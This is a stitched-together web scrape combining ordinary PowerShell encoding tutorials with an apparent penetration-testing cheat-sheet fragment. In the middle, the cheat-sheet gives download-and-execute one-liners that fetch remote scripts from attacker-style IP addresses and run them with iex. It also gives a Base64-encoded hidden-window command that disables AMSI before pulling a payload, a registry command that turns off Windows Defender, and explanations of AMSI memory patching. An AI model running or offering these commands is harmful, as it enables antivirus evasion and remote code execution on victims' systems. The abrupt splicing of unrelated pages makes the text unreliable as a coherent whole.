In many projects, you will get requirements to encode and decode strings, and PowerShell is the best option. In this tutorial, I will explain how to use PowerShell to encode and decode strings.
What are the Encoding and Decoding in PowerShell?
What is Encoding?
Encoding is the process of converting data from one form to another. It is often used to ensure data can be safely transmitted or stored. For example, Base64 encoding is a standard method that converts binary data into an ASCII string format.
What is Decoding?
Decoding is the reverse process of encoding. It converts encoded data back into its original form. For instance, decoding a Base64 string will return the original binary data.
There are various methods for encoding and decoding strings in PowerShell. Let us check each one with example and complete script.
I have executed it using VS code, but you can also use Windows PowerShell ISE.
Method 1: Base64 Encoding and Decoding
Base64 Encoding
Base64 encoding is one of the most used methods to encode binary data as text. Here’s a simple example of how to encode a string to Base64 in PowerShell:
# Original string
$originalString = "Hello, PowerShell!"
# Convert the string to bytes
$bytes = [System.Text.Encoding]::UTF8.GetBytes($originalString)
# Encode the bytes to Base64
$base64String = [Convert]::ToBase64String($bytes)
# Output the Base64 encoded string
Write-Output $base64StringSGVsbG8sIFBvd2VyU2hlbGwhYou can see the output in the screenshot below:
Base64 Decoding
# Base64 encoded string
$base64String = "SGVsbG8sIFBvd2VyU2hlbGwh"
# Decode the Base64 string to bytes
$bytes = [Convert]::FromBase64String($base64String)
# Convert the bytes back to the original string
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
# Output the decoded string
Write-Output $decodedStringIn this example, the Base64 string SGVsbG8sIFBvd2VyU2hlbGwh decodes back to Hello, PowerShell!.
Here is the output in the screenshot below:
Method 2: URL Encoding and Decoding
URL Encoding
URL encoding is used to encode special characters in URLs. PowerShell provides a convenient way to perform URL encoding:
# Original URL
$url = "https://powershellfaqs.com/search?query=PowerShell scripting"
# URL encode the string
$encodedUrl = [System.Web.HttpUtility]::UrlEncode($url)
# Output the URL encoded string
Write-Output $encodedUrlURL Decoding
# URL encoded string
$encodedUrl = "https%3a%2f%2fpowershellfaqs.com%2fsearch%3fquery%3dPowerShell+scripting"
# URL decode the string
$decodedUrl = [System.Web.HttpUtility]::UrlDecode($encodedUrl)
# Output the decoded URL
Write-Output $decodedUrlMethod 3: HTML Encoding and Decoding
HTML Encoding
HTML encoding is used to convert characters that have special meanings in HTML into their corresponding HTML entities. Here’s how to encode an HTML string in PowerShell:
# Original HTML string
$htmlString = "<div>PowerShell & Scripting</div>"
# HTML encode the string
$encodedHtml = [System.Web.HttpUtility]::HtmlEncode($htmlString)
# Output the HTML encoded string
Write-Output $encodedHtmlHTML Decoding
To decode an HTML-encoded string back to its original form:
# HTML encoded string
$encodedHtml = "<div>PowerShell & Scripting</div>"
# HTML decode the string
$decodedHtml = [System.Web.HttpUtility]::HtmlDecode($encodedHtml)
# Output the decoded HTML
Write-Output $decodedHtmlConclusion
PowerShell provides different methods to handle Base64, URL, and HTML encoding and decoding.
In this PowerShell tutorial, I explained how to use PowerShell to encode and decode strings.
You may also like:
private/String/Convert-StringEncoding.ps1
# Return result
To solve these problems, load the content with Invoke-WebRequest rather than Invoke-RestMethod, and convert the content with the function above
# So instead of
$response = Invoke-RestMethod -Uri “https://www.example.com/api”
# Do this
$response = Invoke-WebRequest -Uri “https://www.example.com/api”
# Now parse the json or whatever like
$json = ConvertFrom-Json -InputObject $fixedResponse
$json
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Default PowerShell locations
Basic PS commands to start
#List everything loaded#List everything containing "process"#Get full helpabout a topicDownload & Execute
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText#host a text record with your payload at one of your (unburned) domains and do this: Download & Execute in background with AMSI Bypass
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" Using b64 from linux
Base64 Kali & EncodedCommand
Enable WinRM (Remote PS)
#This enables winrm# Change NetWorkConnection Category to Private# Check status#To completely disable Windows Defender on a computer, use the command:New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force# Set exclusion path# Check exclusions configured via GPOKeyName : Software\Policies\Microsoft\Windows Defender\ExclusionsValueName : Exclusions_PathsValueType : REG_DWORDKeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\PathsValueName : C:\Windows\TempValueType : REG_SZamsi.dll is loaded into your process, and has the necessary exports for any application interact with. And because it’s loaded into the memory space of a process you control, you can change its behaviour by overwriting instructions in memory. Making it not detect anything.
Therefore, the goal of the AMSI bypasses you will are to overwrite the instructions of that DLL in memory to make the detection useless.
AMSI bypass generator web page: https://amsi.fail/
# A Method# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1 # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI# Another Method# AMSI Bypass in python# Testing for Amsi Bypass:AMSI Bypass 2 – Managed API Call Hooking
Check this post for detailed info and the code. Introduction:
This new technique relies upon API call hooking of .NET methods. As it turns out, .NET Methods need to get compiled down to native machine instructions in memory which end up looking very similar to native methods. These compiled methods can hooked to change the control flow of a program.
The steps performing API cal hooking of .NET methods are:
Identify the target method to hook
Define a method with the same function prototype as the target
Use reflection to find the methods
Ensure each method has been compiled
Find the location of each method in memory
Overwrite the target method with instructions pointing to our malicious method
AMSI Bypass 3 – SeDebug Privilege
AMSI Bypass – More Resources
Find a newer files
Options : CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc
OS version and HotFixes
#List only "Security Update" patchesOther connected drives
Secure String to Plaintext
Password : 1tsSecurePassword : System.Security.SecureStringDomain : HTBOr directly parsing form XML:
Password : 1tsSecurePassword : System.Security.SecureStringDomain : HTB#CREATE A CREDENTIAL OBJECTStart-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"Password from secure string
# Check Port or Single IP# Check Port List in Single IP# Check Port Range in single IP# Check Port List in IP Lists - 80,443,445,8080# Open SSH to the world'SSH (Port 22)'# Get name, proto, local and rremote ports, remote address, penable,profile and directionConverting the SDDL String into a Readable Format
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0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AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed SystemAudit SuccessfulAccess (WriteAttributes) Everyone: SystemAudit SuccessfulAccessRawDescriptor : System.Security.AccessControl.CommonSecurityDescriptorLearn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
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In this PowerShell tutorial, I will explain how to convert byte array to string in PowerShell using various methods.
1. Using System.Text.Encoding
The most straightforward method to convert a byte array to a string in PowerShell is by using the System.Text.Encoding class. This class provides methods for encoding a set of characters into a sequence of bytes and for decoding a sequence of bytes into a set of characters. Here’s how you can use it:
# Create a byte array
$byteArray = [System.Text.Encoding]::UTF8.GetBytes("Hello, World!")
# Convert byte array to string
$string = [System.Text.Encoding]::UTF8.GetString($byteArray)
# Display the string
$stringIn this example, we first use the GetBytes method of the UTF8 encoding to convert a string to a byte array. Then, we use the GetString method to convert the byte array back to a string. The UTF-8 encoding is commonly used because it supports all Unicode characters and is backward compatible with ASCII.
You can see the output in the screenshot below after I executed the script using VS Code.
2. Using Base64 Encoding
Another way to represent binary data as a string is by using Base64 encoding in PowerShell. This method is useful when you need to safely transmit binary data over a medium that only supports text. Here’s how you can convert a byte array to a Base64 encoded string:
# Create a byte array
$byteArray = [System.Text.Encoding]::UTF8.GetBytes("Hello, World!")
# Convert byte array to Base64 string
$base64String = [System.Convert]::ToBase64String($byteArray)
# Display the Base64 string
$base64StringTo convert the Base64 string back to a byte array, you can use the FromBase64String method:
# Convert Base64 string to byte array
$byteArrayFromBase64 = [System.Convert]::FromBase64String($base64String)
# Convert byte array to string to verify the result
$stringFromBase64 = [System.Text.Encoding]::UTF8.GetString($byteArrayFromBase64)
# Display the string
$stringFromBase643. Using a StringBuilder and BitConverter
If you need to convert a byte array to a hexadecimal string representation, you can use the BitConverter class combined with a StringBuilder. Here’s an example:
# Create a byte array
$byteArray = [System.Text.Encoding]::UTF8.GetBytes("Hello, World!")
# Use BitConverter to get a hexadecimal string
$hexString = [System.BitConverter]::ToString($byteArray)
# Display the hexadecimal string
$hexStringThe ToString method of the BitConverter class will return a string with the hexadecimal values separated by hyphens. If you want to remove the hyphens, you can use the Replace method:
# Remove hyphens from the hexadecimal string
$hexString = $hexString.Replace("-", "")
# Display the cleaned-up hexadecimal string
$hexStringWhen converting byte arrays to strings, it’s crucial to understand the concept of encoding. Encoding is the process of transforming a set of Unicode characters into a sequence of bytes. Decoding is the reverse process, converting a sequence of bytes back into a set of characters. The choice of encoding (e.g., UTF-8, ASCII, Unicode) affects how the bytes are interpreted and must be consistent during both encoding and decoding to avoid data corruption.
Conclusion
PowerShell provides flexible methods for converting byte arrays to strings, whether you need a plain text representation, a Base64 encoded string, or a hexadecimal string.
In this PowerShell tutorial, I have explained how to convert byte array to string in PowerShell.
You may also like:
Using the ConvertFrom-SecureString cmdlet:
$SecureString = Read-Host -AsSecureString
$Hex = $SecureString | ConvertFrom-SecureStringDefault (hexadcimal) output
$Hex
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000da4b9d0c09bdb140b3060606f3557e12000000000200000000001066000000010000200000003e5e7e364bba09ff85c69e5ab52d6503c9782f2e6fb280e6d5259adb194d5872000000000e8000000002000020000000fbaff7af38d8a7fa03283907bd428a0160ab0e17748eaef159767f3dac4699c310000000700931ab89b21c663e2d8c55eb62328d40000000883276253b23475ea08afacaba679cc97cfb17a16c8155bcc4f1d4210ebcc7506c4e1d94b94aa18d9454c9795ce4e857a063267027c36f1c8ae1ba64da3d1863Not sure wherefore you need this format:
$Hex -replace '..', '\x$&'
\x01\x00\x00\x00\xd0\x8c\x9d\xdf\x01\x15\xd1\x11\x8c\x7a\x00\xc0\x4f\xc2\x97\xeb\x01\x00\x00\x00\xda\x4b\x9d\x0c\x09\xbd\xb1\x40\xb3\x06\x06\x06\xf3\x55\x7e\x12\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x10\x66\x00\x00\x00\x01\x00\x00\x20\x00\x00\x00\x79\x5d\x5a\x40\xed\xde\xc7\xea\xad\x34\xe3\x95\x05\x9b\x6c\x62\xc9\x0f\x46\xa9\xe3\xb2\x8f\x44\xe1\x05\xe4\xd2\xe1\x53\x82\xad\x00\x00\x00\x00\x0e\x80\x00\x00\x00\x02\x00\x00\x20\x00\x00\x00\x9f\x46\x73\x15\x59\x55\x4b\xd6\x49\xc8\x7f\x65\xc6\x65\xf5\x46\xc8\x82\xc7\x2b\x1f\xc0\xac\x85\x09\x29\x57\x53\x0a\xde\x1c\x03\x10\x00\x00\x00\x57\x73\xd9\xfc\xe1\xe0\x00\x63\x33\xcf\x8d\xf1\xd0\xad\xb7\xf0\x40\x00\x00\x00\x8d\x54\x05\xae\x06\x15\x25\x74\xfd\x5c\xf6\x6e\xb3\xce\xf0\xa7\xd6\x32\x6b\xb5\x18\xe8\xd1\x85\xf1\xf2\x45\x13\x8e\xbc\x15\x38\x84\x14\xb1\xdb\x89\x9c\x74\xb2\xa1\xf6\xf8\x48\x1f\x61\x5f\x26\xe9\x2c\x78\x2d\xeb\x3c\x81\x1b\x74\x77\x2a\x5d\x31\x80\x20\xb4Actual Bytes
$Bytes = [byte[]] -split ($Hex -replace '..', '0x$& ')
"$Bytes"
1 0 0 0 208 140 157 223 1 21 209 17 140 122 0 192 79 194 151 235 1 0 0 0 218 75 157 12 9 189 177 64 179 6 6 6 243 85 126 18 0 0 0 0 2 0 0 0 0 0 16 102 0 0 0 1 0 0 32 0 0 0 121 93 90 64 237 222 199 234 173 52 227 149 5 155 108 98 201 15 70 169 227 178 143 68 225 5 228 210 225 83 130 173 0 0 0 0 14 128 0 0 0 2 0 0 32 0 0 0 159 70 115 21 89 85 75 214 73 200 127 101 198 101 245 70 200 130 199 43 31 192 172 133 9 41 87 83 10 222 28 3 16 0 0 0 87 115 217 252 225 224 0 99 51 207 141 241 208 173 183 240 64 0 0 0 141 84 5 174 6 21 37 116 253 92 246 110 179 206 240 167 214 50 107 181 24 232 209 133 241 242 69 19 142 188 21 56 132 20 177 219 137 156 116 178 161 246 248 72 31 97 95 38 233 44 120 45 235 60 129 27 116 119 42 93 49 128 32 180Base64
[Convert]::ToBase64String($Bytes)
AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA2kudDAm9sUCzBgYG81V+EgAAAAACAAAAAAAQZgAAAAEAACAAAAB5XVpA7d7H6q0045UFm2xiyQ9GqeOyj0ThBeTS4VOCrQAAAAAOgAAAAAIAACAAAACfRnMVWVVL1knIf2XGZfVGyILHKx/ArIUJKVdTCt4cAxAAAABXc9n84eAAYzPPjfHQrbfwQAAAAI1UBa4GFSV0/Vz2brPO8KfWMmu1GOjRhfHyRROOvBU4hBSx24mcdLKh9vhIH2FfJukseC3rPIEbdHcqXTGAILQ=Round trip
$Base64 = <your base64> # e.g.: 'AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA2kudDAm9sUCzBgYG81V+EgAAAAACAAAAAAAQZgAAAAEAACAAAAB5XVpA7d7H6q0045UFm2xiyQ9GqeOyj0ThBeTS4VOCrQAAAAAOgAAAAAIAACAAAACfRnMVWVVL1knIf2XGZfVGyILHKx/ArIUJKVdTCt4cAxAAAABXc9n84eAAYzPPjfHQrbfwQAAAAI1UBa4GFSV0/Vz2brPO8KfWMmu1GOjRhfHyRROOvBU4hBSx24mcdLKh9vhIH2FfJukseC3rPIEbdHcqXTGAILQ='
$Bytes = [System.Convert]::FromBase64String($Base64)
$Hex = -Join $Bytes.Foreach{ $_.ToString('x2') }
$SecureString = $Hex | ConvertTo-SecureString
$SecureString | ConvertFrom-SecureString -AsPlainTextSometimes you want to store a PowerShell command not readable at first read. This is so called an obfuscation. It is an action to make something unreadable for humans. For example, this could be used when storing a PowerShell command in a task schedular job or something similar.
How to encode your command?
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string))
How to decode the encoded command?
To decode the encoded variable, you can use:
[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($EncodedCommand))
Another method to encode/ decode!
A nice way to also decode and encode your command is via the Base64 Decode and Encode website:
Base64 Decode and Encode – Online
And of course, the same for encoding your command!
How to decode a PowerShell command from a running process?
Microsoft has a nice write up about how to decode running process, this because PowerShell stores running commands in also as an encoded command:
Thank for reading this short blog, hopefully it was informational and helpful when you need to encode your commands!
